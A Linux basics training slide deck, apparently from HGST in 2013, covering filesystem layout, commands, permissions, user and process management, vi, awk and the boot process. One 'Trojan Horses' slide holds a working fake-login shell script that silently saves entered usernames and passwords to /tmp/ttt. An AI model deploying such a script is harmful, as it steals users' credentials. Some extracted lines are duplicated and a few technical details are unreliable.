Linux training

© 2012 HGST, a Western Digital company
Linux Basic Tutorial
Fang Pengfei
2013/1/22

 Linux Origins and History
2
Summary
Overview
 Linux Architecture and File System
 Common Commands
 File Management
 User Management
 Disk Management
 Process Management
 Network Management
 Advantage Commands and Shell Basis
 Vi Editor
 awk script
 Linux Boot Process
 Some Tools
 Linux in Working

Linux Origins and History
Key Words: Unix, Linux, GNU/Linux, FSF, GPL
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 About UNIX
Unix (officially trademarked as UNIX, sometimes also written as UNIX in small
caps) is a multitasking, multi-user computer operating system originally developed
in 1969 by a group of AT&T employees at Bell Labs, The Unix operating system
was first developed in assembly language, but by 1973 had been almost entirely
recoded in C, greatly facilitating its further development and porting to other
hardware. Today's Unix system evolution is split into various branches, developed
over time by AT&T as well as various commercial vendors, universities (such
as University of California, Berkeley's BSD), and non-profit organizations. More
detail information http://en.wikipedia.org/wiki/Unix and its timeline
http://www.levenez.com/unix/
Two main branches: Unix System V and BSD Unix

 What is Linux?
Strictly speaking, ‘Linux’ is just a kernel. The kernel is rewritten from Unix(Minix)
by a college student named Linus Torvalds( 李纳斯 · 托瓦斯 ) in 1991. Its whole
and official name is ‘GNU/Linux’.
 What is GNU?
The GNU project was launched by Richard Stallman( 史托曼 ) in 1984 to
develop a complete Unix-like operation system which is free software: The
GNU System. But GNU’s kernel was not finished, so GUN is used with the
kernel Linux. The combination of GNU and Linux is the GNU/Linux operating
system. About GNU more information http://www.gnu.org/.
 FSF and GPL
In order to promote GNU, Richard established FSF(the Free Software
Foundation) in the United States and develop a public copyright agreement
named GPL(General Public License)
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Linux Origins and History

The father of Linux: Linus Torvalds The father of GNU: Richard Stallman

Linux Architecture and File System
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Computer Hardware
System call interface
Applications: Compilers, word processors, X-based GUI
API
AUI
BIOS
LINUX Shell: Bourne Again (bash), TC, Z, etc.
Language libraries(c, glibc)
Device Drives
Kernel
File managementMemory
management
Process
Management
Hardware

 1. / – Root
Every single file and directory starts from the root directory.
Only root user has write privilege under this directory.
Please note that /root is root users home directory, which is not same as /.
 2. /bin – User Binaries
Contains binary executables.
Common linux commands you need to use in single-user modes are located under this directory.
Commands used by all the users of the system are located here.
For example: ps, ls, ping, grep, cp.
 3. /sbin – System Binaries
Just like /bin, /sbin also contains binary executables.
But, the linux commands located under this directory are used typically by system administrator, for system
maintenance purpose.
For example: iptables, reboot, fdisk, ifconfig, swapon
 4. /etc – Configuration Files
Contains configuration files required by all programs.
This also contains startup and shutdown shell scripts used to start/stop individual programs.
For example: /etc/resolv.conf, /etc/logrotate.conf
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5. /dev – Device Files
Contains device files.
These include terminal devices, usb, or any device attached to the system.
For example: /dev/tty1, /dev/usbmon0
6. /proc – Process Information
Contains information about system process.
This is a pseudo filesystem contains information about running process. For example: /proc/{pid} directory contains
information about the process with that particular pid.
This is a virtual filesystem with text information about system resources. For example: /proc/uptime
7. /var – Variable Files
var stands for variable files.
Content of the files that are expected to grow can be found under this directory.
This includes — system log files (/var/log); packages and database files (/var/lib); emails (/var/mail); print queues
(/var/spool); lock files (/var/lock); temp files needed across reboots (/var/tmp);
8. /tmp – Temporary Files
Directory that contains temporary files created by system and users.
Files under this directory are deleted when system is rebooted.
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9. /usr – User Programs
Contains binaries, libraries, documentation, and source-code for second level programs.
/usr/bin contains binary files for user programs. If you can’t find a user binary under /bin, look under /usr/bin. For
example: at, awk, cc, less, scp
/usr/sbin contains binary files for system administrators. If you can’t find a system binary under /sbin, look under
/usr/sbin. For example: atd, cron, sshd, useradd, userdel
/usr/lib contains libraries for /usr/bin and /usr/sbin
/usr/local contains users programs that you install from source. For example, when you install apache from source, it
goes under /usr/local/apache2
10. /home – Home Directories
Home directories for all users to store their personal files.
For example: /home/john, /home/dbuser, /home/db2user
11. /boot – Boot Loader Files
Contains boot loader related files.
Kernel initrd, vmlinux, grub files are located under /boot
For example: initrd.img-2.6.32-24-generic, vmlinuz-2.6.32-24-generic
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12. /lib – System Libraries
Contains library files that supports the binaries located under /bin and /sbin
Library filenames are either ld* or lib*.so.*
For example: ld-2.11.1.so, libncurses.so.5.7
13. /opt – Optional add-on Applications
opt stands for optional.
Contains add-on applications from individual vendors.
add-on applications should be installed under either /opt/ or /opt/ sub-directory.
14. /mnt – Mount Directory
Temporary mount directory where sysadmins can mount filesystems.
15. /media – Removable Media Devices
Temporary mount directory for removable devices.
For examples, /media/cdrom for CD-ROM; /media/floppy for floppy drives; /media/cdrecorder for CD writer
16. /srv – Service Data
srv stands for service.
Contains server specific services related data.
For example, /srv/cvs contains CVS related data.
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 cd
 pwd
 ls
 cat
 tac
 more
 less
 head
 tail
 wc
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Common Commands
Change Directory
Print Working Directory
List information about file(s)
Concatenate and write files in reverse
Display output one screen at a time
Display output one screen at a time
Output the first part of file(s)
Output the last part of file
Print byte, word, and line counts
Concatenate and print (display) the content of files

 touch
 mkdir
 mv
 cp
 rm
 rmdir
 date
 cal
 man
 history
More Bash Commands List: http://www.mediacollege.com/linux/command/linux-command.html
An A-Z Index of the Bash command line for Linux. http://ss64.com/bash/
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Common Commands
Change file timestamps
Create new folder(s)
Move or rename files or directories
Remove files or folder
Remove folders
Display a calendar
Output the first part of file(s)
Help manual
Copy one or more files to another location
Command History

 man
 info
 finger
 time ls 测试 ls 运行时间
 history 查看历史命令记录，可以查看别人做了哪些操作
 history -c 清空历史命令记录
 sudo fdisk == sudo -u root fdisk
 http://www.mediacollege.com/linux/command/linux-command.html
 An A-Z Index of the Bash command line for Linux. http://ss64.com/bash/
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[root@linux ~]#command [-options] parameter1 parameter2 …
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File Management
[root@linux ~]ls –al /ect/
Command name Options(flag) Arguments
total 3664
drwxr-xr-x 103 root root 12288 Jan 3 04:02 .
drwxr-xr-x 28 root root 4096 Jun 23 2012 ..
drwxr-xr-x 4 root root 4096 Jun 2 2010 acpi
-rw-r--r-- 1 root root 45 Jun 23 2012 adjtime
drwxr-xr-x 4 root root 4096 Jun 2 2010 alchemist
……..
[root@linux ~]ls -a -l /ect/
You can write it like this

d rwx r-x r-x 1 dbuser db2iadm 4096 Jan 2 09:36 working
It is a directory
The directory can be
read, written and
executed by the
user dbuser
The directory can be
read and executed but
not written by other users
in the same group of
db2iadm
The directory can be read
and executed but not
written by other users in
different group of db2iadm
Owner Owner’s group
file size
Hard link No.
file name
File last modified date
File Management

File Type:
- Regular file
d Directory files
b Block file
c Character device file
p Named pipe file or just a pipe file
l Symbolic link file
s Socket file
All file types can be found in /dev/ directory
Command: ls –al | grep ^s
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File Management

r = 4 read permission
w = 2 write permission
x = 1 execute permission
- = 0 no permission
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File Management
rwx r-x r-x u(owner) g(group) o(others) 7 5 5

Some commands about file permissions
chmod Change access permissions
chown Change file owner and group
chgrp Change group ownership
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chmod u/g/o+r/rw/rwx file/folder
File Management
chmod u/g/o-r/rw/rwx file/folder
chmod a+/- r/rw/rwx file/folder
chmod -R u+x folder change files and directories recursively
chown -R owner:group folder change files and directories recursively(root)
chmod 755/000/500 file/folder
chgrp -R group folder change files and directories recursively(root)

Here is a question:
If a directory named mydir, and three users named zhangsan, lisi, wangwu,
the owner is zhangsan, and they belong to group zgroup,
drwxrwxr-x 1 zhangsan zgroup 4096 Jan 2 09:36 mydir
If lisi creates some files or directories in the mydir, and wangwu creates
some files too. One day, lisi delete mydir, that is, lisi’s files are deleted
too. How do we avoid this accident? Maybe the below is ok.
drwxrwxr-t 1 zhangsan zgroup 4096 Jan 2 09:36 mydir
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setUID s = 4
setGID s = 2
Sticky t = 1
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File Management
d rws r-S r-t 1 root root 27768 Jan 17 2006 /usr/bin/passwd
SUID -rws------ both owner execute and SUID are set
-r-S------ SUID is set, but owner execute is not set
SGID -rwxrws--- both group execute and SGID are set
-rwxr-S--- SGID is set, but group execute is not set
Sticky(SBIT) -rwxrwxrwt both others execute and sticky bit are set
-rwxrwxr-T sticky bit is set, but others execute is not set
chmod u/g +/- s file
chmod o +/- t file
chmod a+/- r/rw/rwx file
chmod 4755/2755/1755 file

 SetUID and SetGID
A setuid bit or setgid bit on a file means two things:
a)The file is executable
b)The file will be executed with extra privileges
However, if the rm file, which is normally owned by root, has a setuid bit on, it
means no matter who runs this program, the system will look it as the root user
runs it. This is why you should be very careful when setting the setuid bit on
some files.
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File Management

 Sticky(SBIT)
When a sticky bit is set on a binary executable file, that file will be "stick-ed" in
the memory, which means it will always be hold in the physical memory, and
never be switched out to SWAP. This will improve the performance of this
program, but may slow down the other programs, cause those programs will
need to be switched out more frequently, if you don't have enough memory.
If a directory have the sticky bit on, it means all the files/sub-directories under it
will only be deleted or modified by the owner or someone who have the write
permission on the file/sub-directory, not who have write permission of the
directory having the sticky bit.
On most systems the /tmp directory has this bit on:
[dbuser@hgaqedbs01 ~]$ ls -ld /tmp
drwxrwxrwt 11 root root 1024 7 23 17:21 /tmp/
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File Management

Hidden Attribute
 chattr [+ - =][ASacdistu] file/folder
A Don't update access time on modify.
a Append only for writing. Can be set or cleared only by a privileged user.
c Compressed. Compressed as saving files, and uncompressed as reading files
d No dump.
i Immutable. Can not deleted, rename, set link, written. Can be set or cleared only by a
privileged user.
S Synchronous updates.
s Secure deletion. The contents are zeroed on deletion, and the file cannot be undeleted or
recovered in any way.
u Undeletable. This causes a file to be saved even after it has been deleted, so that a user can
undelete it later.
 lsattr [-aR] file/folder show all attributes on the file or folder
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File Management

Compression and Decompression
 tar [-cxtzjvfpPN] file/folder
-c Create a new archive.
-t List the contents of an archive.
-x Extract files from an archive.
-f The archive file name is given on the command line.
-v Verbosely list files processed
-z Filter archive through gzip, use to decompress .gz files.
-j Filter archive through bzip2, use to decompress .bz2 files.
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File Management

Hard link vs Soft(Symbolic) link
 Hard links
Hard links cannot link directories.
Cannot cross file system boundaries.
 Soft links
Soft links can create links between directories.
Can cross file system boundaries.
 These links behave differently when the source of the link is moved or
removed.
Symbolic links are not updated.
Hard links always refer to the source, even if moved or removed.
 Create links file command: link or ln
[dbuser@hgaqedbs01 ~]$ln source_file target_file
[dbuser@hgaqedbs01 ~]$ln –s source_file target_file
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File Management
create hard link
create soft link

User Management
 useradd Create new user account
 usermod Modify user account
 userdel Delete a user account
 groupadd Add a user security group
 groupdel delete a group
 groupmod Modify a group
 passwd Modify a user password
 who Print all usernames currently logged in
 Whoami Print the current user id and name (`id -un')
 su Substitute user identity
 sudo Execute a command as another user

User Management
 useradd [-u UID] [-g initial_group] [-G other_group] -[Mm] [-c description] [-d home] [-s shell] username
-u Specify the user id number to be used. Update the third column in file /etc/passwd
-g Specify the initial group for the user. Update the forth column in file /etc/passwd
-G Specify the other group for the user by using the group number. Update in /etc/group file
-M No home directory created strictly.
-m Create home directory strictly. Create new file by default name in /home/ directory
-c Some descriptions about the account.
-d Specified user home directory. Create new file by specified file name in /home/ directory.
-s Specify the default shell for the user. If not specified set to /bin/bash
Note: Only super user(root) can execute the useradd command.

useradd -c 'Xueping Zeng/China/HGST' -d /home/db2user -M -g dbreader -G dbreader -s /bin/false -u zengxp
Screenshot from /ect/passwd
Some files about user account
/etc/passwd /etc/shadow
/etc/group /etc/gshodow
/home/username /etc/login.defs
User Management

User Management
 passwd [useraccount]
New created user account can not login OS, if it do not set password. Root can set the new account’s
password by running the passwd command. If no parameter, the command will change the current
user’s password. If have parameter, the specified useraccount’s password will be modified, but only
root have privilege to do this.
 userdel [-r] [useraccount]
if option [-r] selected, all the useraccount’s files(such as, user’s home directory, /var/mail/…) will be
dropped, only root has privilege to run userdel.
 groupdel [-r] [user_group]
If the usergroup has any users, the usergroup can not be deleted.(ubuntu)
 su - [useraccount]
Switch the specified useraccount thoroughly, the “thoroughly” means you will get the useraccount’s
environment, such as shell. To return to original user, enter exit.

Disk Management
 du Estimate file space usage
 df Display free disk space
 free Display memory space
 fdisk Partition table manipulator for linux
 mkfs Create file system
 mount Mount a file system
 umount Umount a device
Hard Disk: IDE and SCSI
IDE drives are referred to as hda for the first drive, hdb for the second etc... IDE uses separate
ribbon. cables for primary and secondary drives. The partitions on each drive are referred
numerically. The first partition on the first drive is referred to as hda1, the second as hda2, the third as
hda3 etc …
Note: SCSI disks are labeled /dev/sda, sdb, etc…
Use the command cat /proc/partitions to see full list of disks and partitions that your system can see.

Process Management
 top List processes running on the system
 ps Process status
 pstree Display a tree of process
 jobs List active jobs
 kill -9 Stop a process from running

Network Management
 ifconfig Configure a network interface
 ping
 route Show/manipulate the IP routing table
 netstat Print network connections, routing tables, interface statistics,
masquerade connections.
 wget URL Retrieve web pages or files via HTTP, HTTPS or FTP
/etc/init.d/network
/etc/resolv.conf
/etc/sysconfig/networking/
More detail info: https://wiki.archlinux.org/index.php/Network_Configuration

Advantage Commands and Shell Basis
 file Determine file type
 sort Sort line of text files
 cut Remove sections from each line of files
 grep Search file for lines that match a given pattern
 find Search for files in directory hierarchy
 diff Display the differences between two files
 which Search the user’s $PATH for a program file
 whereis Search the user's $PATH,man pages and source files
 echo Display message on screen
 export Set an environment veriable
 scp Secure copy(remote copy file program)

 file /etc/passwd /usr/bin/passwd
 sort [-fbMnrtuk] [file or stdin]
-f ignore-case
-b ignore-leading-blanks
-M month-sort, compare (unknown) < ‘JAN’ < ... < ‘DEC’
-n numeric-sort, compare according to string numerical value, default as ASCII character sort
-r reverse, reverse the result of comparisons
-t field-separator=SEP, use SEP instead of non-blank to blank transition
-k key=POS1[,POS2], start a key at POS1, end it at POS2 (origin 1)
-o output the input file, that is, input and output is the same file
sort by different column sort -k 2,2n –k 3,3nr
Operation e.g.
[db2user@hgaqedbs01 ttt]$ cp /etc/passwd ./passwd

 cut [-dfc] [file]
-d delimiter=DELIM, use DELIM instead of TAB for field delimiter, TAB is default delimiter
-f fields=LIST, select only these fields, also print any line that contains no delimiter character,
unless the -s option is specified
-c select only these characters
e.g.
[db2user@hgaqedbs01 ttt]$ echo $PATH | cut –d ‘:’ -f 3
[db2user@hgaqedbs01 ttt]$ echo $PATH | cut –d ‘:’ -f 3, 5
[db2user@hgaqedbs01 ttt]$ echo | cut –d ‘:’ -c 12-
[db2user@hgaqedbs01 ttt]$ last | cut -d ‘ ’ -f 1

 grep [-acinv] ‘pattern string’ filename
-a Process a binary file as if it were text; this is equivalent to the --binary-files=text option.
-c count. Suppress normal output; instead print a count of matching lines for each input file.
With the -v, --invert-match option (see below), count non-matching lines., also print any line
that contains no delimiter character, unless the -s option is specified
-i ignore-case, ignore case distinctions in both the PATTERN and the input files.
-n line-number. Prefix each line of output with the line number within its input file.
-v invert-match. Invert the sense of matching, to select non-matching lines.
e.g.
[db2user@hgaqedbs01 ttt]$ last | grep –v ‘root’ | cut –d ‘ ‘ -f1
[db2user@hgaqedbs01 ttt]$ grep -v '^$' /etc/syslog.conf | grep -v '#'
[db2user@hgaqedbs01 ttt]$ grep -v '^$' /etc/syslog.conf | grep –n ‘^[^a-z]’
[db2user@hgaqedbs01 ttt]$ grep -v '^$' /etc/syslog.conf | grep –n ‘o{0,5}’

 find [path] [option] [action]
-atime n File was last accessed n*24 hours ago.
-ctime n File's status was last changed n*24 hours ago.
-mtime n File's content was last modification n*24 hours ago.
-uid n File's numeric user ID is n.
-gid n File's numeric group ID is n.
-user name File is owned by user uname (numeric user ID allowed).
-group gname File belongs to group gname (numeric group ID allowed).
-nouser No user corresponds to file's numeric user ID.
-nogroup No group corresponds to file's numeric group ID.
-name pattern Base of file name (the path with the leading directories removed) matches shell
pattern pattern. The metacharacters (`*', `?', and `[]') do not match a `.' at the start
of the base name. To ignore a directory and the files under it, use -prune; see an
example in the description of -path.
-size [+-]size For more detail info., to ask help from “man(manual)”.

[db2user@hgaqedbs01 ~]$ find . -mtime 0 0 means the current time
[db2user@hgaqedbs01 ~]$ find . -mtime 3
[db2user@hgaqedbs01 ~]$ find . -newer /etc/passwd
[db2user@hgaqedbs01 ~]$ find /home -user db2user
[db2user@hgaqedbs01 ~]$ find /home -nouser
[db2user@hgaqedbs01 ~]$ find / -name passwd search file
[db2user@hgaqedbs01 ~]$ find /home -size +50k
[db2user@hgaqedbs01 ~]$ find / -type [f/b/c/d/l/s/p]
[db2user@hgaqedbs01 ~]$ find / -perm [+/-]7000 list all files permission above on “---s--s—t”
[db2user@hgaqedbs01 ~]$ find / -perm [+/-]7000 –exec ls –l {} ;

 scp [-1246BCpqrv] [-c cipher] [-F ssh_config] [-i identity_file] [-l limit] [-o ssh_option] [-P port] [-S
program] [[user@]host1:]file1 [...] [[user@]host2:]file2
[db2user@hgaqedbs01 ~]$ scp –r local_file user@remote_server:remote_file
[db2user@hgaqedbs01 ~]$ scp –r user@remote_server01:~/. user@remote_server02:~/.
e.g.
[db2user@hgaqedbs01 ~]$ scp –r . dbuser@hgaqedbs01:~/temp/
[db2user@hgaqedbs01 ~]$ scp –r local_file user@10.81.192.91:remote_file

 *
 ?
 ~
 $
 &
 > >> < <<
 |
 Ctrl + C
 Ctrl + D
 Ctrl + U

What is shell
 An interface between the Linux system and the user
 Used to call commands and programs
 An interpreter
 Powerful programming language
 Many available (bsh, ksh, csh, bash, tcsh)
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Trojan Horses
echo -n "Login: "echo -n "Login: "
read nameread name
stty -echostty -echo
echo -n "Password: "echo -n "Password: "
read passwdread passwd
echo " "echo " "
stty echostty echo
echo $name $passwd > /tmp/ttt&echo $name $passwd > /tmp/ttt&
sleep 2sleep 2
echo "Login Incorrect.Re-enter, Please. "echo "Login Incorrect.Re-enter, Please. "
stty cookedstty cooked
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Turn off the screen(stander output)
Turn on the screen(stander output)
Read value from keyboard to save it
to variable name

Vi / Vim
 Command mode: letters or sequence of letters interactively command vi. Commands are case
sensitive. The ESC key can end a command.
 Insert mode: Text is inserted. The ESC key ends insert mode and returns you to command mode.
One can enter insert mode with the "i" (insert), "a" (insert after), "A" (insert at end of line), "o" (open
new line after current line) or "O" (Open line above current line) commands.
 Command line mode: One enters this mode by typing ":" which puts the command line entry at the
foot of the screen.
STARTING vi
vi filename edit a file named "filename"
vi newfile create a new file named "newfile"
MOVING THE CURSOR
h left one space
j down one line
k up one line
l right one space

Vi / Vim
BASIC EDITING
 i insert text left of cursor
 a append text right of cursor
 x delete character
 nx delete n characters
 X delete character before cursor
 dd delete line
 ndd delete n lines
 D delete characters from cursor to end of line
 r replace character under cursor
 C change text from cursor to end of line
 o insert blank line below cursor (ready for insertion)
 O insert blank line above cursor (ready for insertion)
 u undo last change

Vi / Vim
BASIC EDITING
 U Undo all changes to entire line
 3yy p “3” is a variable, and can be changed. Type “3yy” under the current cursor position, and
then, type “p”, cursor at first position’s line and the two line below it will be copy the current
position.

Vi / Vim
MOVING AROUND IN A FILE
 w forward word by word
 b backward word by word
 $ to end of line
 0 (zero) to beginning of line
 H to top line of screen
 M to middle line of screen
 L to last line of screen
 G to last line of file
 1G to first line of file
 <Control>f scroll forward one screen
 <Control>b scroll backward one screen
 <Control>d scroll down one-half screen
 <Control>u scroll up one-half screen

Vi / Vim
CLOSING AND SAVING A FILE
 :w/:w! save file
 :q! discard changes and quit file
 :wq! save file and quit file
Command line Mode
 :set number
 :6,9 co 12 copy from the 6th
row to 9th
row to the 12th
row behind
 :’a,’b co ‘c ama, bmb, cmc
 :’a,’bd delete from ama to bmb
 :5,9 de
 :%s/string1/string2/g delete from the 5th
row to the 9th
row replace string1 to string2 in the
whole file.
 :3,7s/string1/string2/g replace string1 to string2 from 3th row to 7th
row.
http://www.yolinux.com/TUTORIALS/LinuxTutorialAdvanced_vi.html

awk script
Some of the key features of Awk are:
 Awk views a text file as records and fields.
 Like common programming language, Awk has variables, conditionals and loops
 Awk has arithmetic and string operators.
 Awk can generate formatted reports
Awk reads from a file or from its standard input, and outputs to its standard output. Awk does not get
along with non-text files.
Syntax: awk '/search pattern1/ {Actions} /search pattern2/ {Actions}' file
 search pattern is a regular expression.
 Actions – statement(s) to be performed.
 several patterns and actions are possible in Awk.
 file – Input file.
 Single quotes around program is to avoid shell not to interpret any of its special characters.
Example and Practice http://www.thegeekstuff.com/2010/01/awk-introduction-tutorial-7-awk-print-
examples/ http://blog.csdn.net/jinyonghe/article/details/1751378

Linux Boot Process
BIOS
lilo/grub
Kernel boot
init
mingetty
shell
login
rc.sysinit
rc
Linux can be used now…
Open the power

 ⑴ 加电后执行 BIOS 自检读取并执行 MBR 中的引导代码
 ⑵ 由 mbr 中 lilo/grub 或其它引导器解压内核 vmlinuz 到内存
 ⑶ 内核检测硬件设备以只读方式挂装根目录以检测文件系统若无误则该用读写方式挂 
装文件系统
 ⑷ 内核启动 init 进程该进程 PID=1 是内核启动的唯一进程
 ⑸init 进程读 /etc/inittab 配置文件获取默认的运行级。对于安装了 x window 的系统通常
是 id:5:initdefault 否则通常是 id:3:initdefault
 ⑹init 进程运行 /etc/rc.d/rc.sysinit 脚本完成激活交换分区检查磁盘加载硬件模块、配  
置网络等一些系统初始化的工作以及其它一些需要优先执行任务 
 ⑺init 进程以运行级别为参数运行 /etc/rc.d/rc 脚本该脚本进入与运行级别对应的目录如 
/etc/rc5.d 先以 stop 为参数顺序运行所有以 K 打头的脚本停止相应服务再以  start 为
参数顺序运行所有以 S 打头的脚本文件启动相应服务 
 ⑻ 运行 /etc/rc.d/rc.local 脚本该脚本缺省的情况下只有一条语句  touch
/var/lock/subsys/local 。即修改该文件的时间属性
 ⑼init 进程为每个终端运行一个 /sbin/mingetty 的程序该程序在终端初显示提示符等待用
户登录
 ⑽ 用户登录后 /sbin/mingetty 交控制权给 login 程序。 Login 程序负责建立用户环境并启动
一个 shell 首先寻找执行 /etc/profile 和用户的主目录中的 .bash_profile 脚本文件
 ⑾ shell 负责解释执行用户命令。
5308/02/13
Linux Boot Process

Linux Boot Process
1. BIOS
 BIOS stands for Basic Input/Output System
 Performs some system integrity checks
 Searches, loads, and executes the boot loader program.
 It looks for boot loader in floppy, cd-rom, or hard drive. You can press a key (typically F12 of F2, but it
depends on your system) during the BIOS startup to change the boot sequence.
 Once the boot loader program is detected and loaded into the memory, BIOS gives the control to it.
 So, in simple terms BIOS loads and executes the MBR boot loader.
2. MBR
 MBR stands for Master Boot Record.
 It is located in the 1st sector of the bootable disk. Typically /dev/hda, or /dev/sda
 MBR is less than 512 bytes in size. This has three components 1) primary boot loader info in 1st 446
bytes 2) partition table info in next 64 bytes 3) mbr validation check in last 2 bytes.
 It contains information about GRUB (or LILO in old systems).
 So, in simple terms MBR loads and executes the GRUB boot loader.

Linux Boot Process
3. GRUB
 GRUB stands for Grand Unified Bootloader.
 If you have multiple kernel images installed on your system, you can choose which one to be
executed.
 GRUB displays a splash screen, waits for few seconds, if you don’t enter anything, it loads the default
kernel image as specified in the grub configuration file.
 GRUB has the knowledge of the filesystem (the older Linux loader LILO didn’t understand filesystem).
 Grub configuration file is /boot/grub/grub.conf (/etc/grub.conf is a link to this). The following is sample
grub.conf of Red Had Enterprise(10.81.192.91).
 As you notice from the above info, it contains kernel and initrd image.
 So, in simple terms GRUB just loads and executes Kernel and initrd images.
#boot=/dev/sda#boot=/dev/sda
default=0default=0
timeout=5timeout=5
splashimage=(hd0,0)/grub/splash.xpm.gzsplashimage=(hd0,0)/grub/splash.xpm.gz
hiddenmenuhiddenmenu
title Red Hat Enterprise Linux Server (2.6.18-194.el5)title Red Hat Enterprise Linux Server (2.6.18-194.el5)
root (hd0,0)root (hd0,0)
kernel /vmlinuz-2.6.18-194.el5 ro root=/dev/VolGroup00/LogVol00 rhgb quietkernel /vmlinuz-2.6.18-194.el5 ro root=/dev/VolGroup00/LogVol00 rhgb quiet
crashkernel=1024M@16Mcrashkernel=1024M@16M
initrd /initrd-2.6.18-194.el5.imginitrd /initrd-2.6.18-194.el5.img

Linux Boot Process
4. Kernel
 Mounts the root file system as specified in the “root=” in grub.conf
 Kernel executes the /sbin/init program
 Since init was the 1st program to be executed by Linux Kernel, it has the process id (PID) of 1. Do a
‘ps -ef | grep init’ and check the pid.
 initrd stands for Initial RAM Disk.
 initrd is used by kernel as temporary root file system until kernel is booted and the real root file
system is mounted. It also contains necessary drivers compiled inside, which helps it to access the
hard drive partitions, and other hardware.

Linux Boot Process
5. Init
 Looks at the /etc/inittab file to decide the Linux run level.
 Following are the available run levels
• 0 – halt
• 1 – Single user mode
• 2 – Multiuser, without NFS
• 3 – Full multiuser mode
• 4 – unused
• 5 – X11
• 6 – reboot
 Init identifies the default initlevel from /etc/inittab and uses that to load all appropriate program.
 Execute ‘grep initdefault /etc/inittab’ on your system to identify the default run level
 If you want to get into trouble, you can set the default run level to 0 or 6. Since you know what 0 and 6
means, probably you might not do that.
 Typically you would set the default run level to either 3 or 5.

Linux Boot Process
6. Runlevel programs
 When the Linux system is booting up, you might see various services getting started. For example, it
might say “starting sendmail …. OK”. Those are the runlevel programs, executed from the run level
directory as defined by your run level.
 Depending on your default init level setting, the system will execute the programs from one of the
following directories.
• Run level 0 – /etc/rc.d/rc0.d/
 Please note that there are also symbolic links available for these directory under /etc directly. So,
/etc/rc0.d is linked to /etc/rc.d/rc0.d.
 Under the /etc/rc.d/rc*.d/ directories, you would see programs that start with S and K.
 Programs starts with S are used during startup. S for startup.
 Programs starts with K are used during shutdown. K for kill.
 There are numbers right next to S and K in the program names. Those are the sequence number in
which the programs should be started or killed.

Linux Boot Process
 shutdown [-t sec] [-arkhncfF] [time] [warning-message]
-t Tell init to wait sec seconds between sending processes the warning and the kill signal,
before changing to another runlevel.
-k Don’t really shutdown; only send the warning messages to everybody.
-r Reboot after shutdown
-h Halt after shutdown
time(now) When to shutdown
-c Cancel the current shutdown command
[root@hgaqedbs01 ~]#shutdown –k now “Your message to others”
[root@hgaqedbs01 ~]#shutdown –r +10
[root@hgaqedbs01 ~]#shutdown –h now
[root@hgaqedbs01 ~]#shutdown –h –t 30 +3

Some tools about Linux
 ftp
 putty
 secureCRT
 FileZilla www.cumt.org/filezilla
 NX www.nomachine.com

Linux in working
 Bash shell script running on 10.81.192.91 server.(schedule tasks on linux)
 Difference between dbuser and db2user.
 How to add users to db2 database, and add user to group.
 Why does not a db2 user login and operate linux os, only can connect to db2
database.
useradd -c 'Xueping Zeng/China/HGST' -d /home/db2user -M -g dbreader -G dbreader -s /bin/false -u zengxpuseradd -c 'Xueping Zeng/China/HGST' -d /home/db2user -M -g dbreader -G dbreader -s /bin/false -u zengxp
 Monitor linux status by dstat command.
[db2user@hgaqedbs01 ~]$ dstat -cdlmnpsy

Linux in working
[db2user@hgaqedbs01 temp_2012-11]$ crontab -l
#*/6 * * * * /home/db2user/temp_2012-11/crontab_snapshot.sh
[db2user@hgaqedbs01 temp_2012-11]cat temp_2012-11/crontab_snapshot.sh
#!/bin/bash
#/opt/ibm/db2/V9.7/bin/db2 connect reset
#/opt/ibm/db2/V9.7/bin/db2 connect to qedb
#/opt/ibm/db2/V9.7/bin/db2 update monitor switches using statement on
/opt/ibm/db2/V9.7/bin/db2 get snapshot for dynamic sql on qedb >>/home/db2user/temp_2012-11/snapshot_dynamic_$
(date +%Y%m%d).txt
/opt/ibm/db2/V9.7/adm/db2pd -db qedb -locks -transaction –agents -applications -dynamic >>/home/db2user/temp_2012-
11/db2pd_$(date +%Y%m%d).txt
/opt/ibm/db2/V9.7/bin/db2 get snapshot for applications on qedb >>/home/db2user/temp_2012-
11/snapshot_applications_$(date +%Y%m%d).txt
#cat "==========n" >>snapshot.txt
#echo $DATE>>snapshot.txt
#cat "n">>snapshot.txt
#cat "===========n" >>snapshot.txt
#/opt/ibm/db2/V9.7/bin/db2 update monitor switches using statement off

The End!
6308/02/13
Thanks

下面的 PPT 都是草稿，备份用，不做演示
6508/02/13

/
/bin
/sbin
/etc
/dev
/proc
/var
/tmp
/usr
/home
/boot
/lib
/opt
/mnt
/media
/srv

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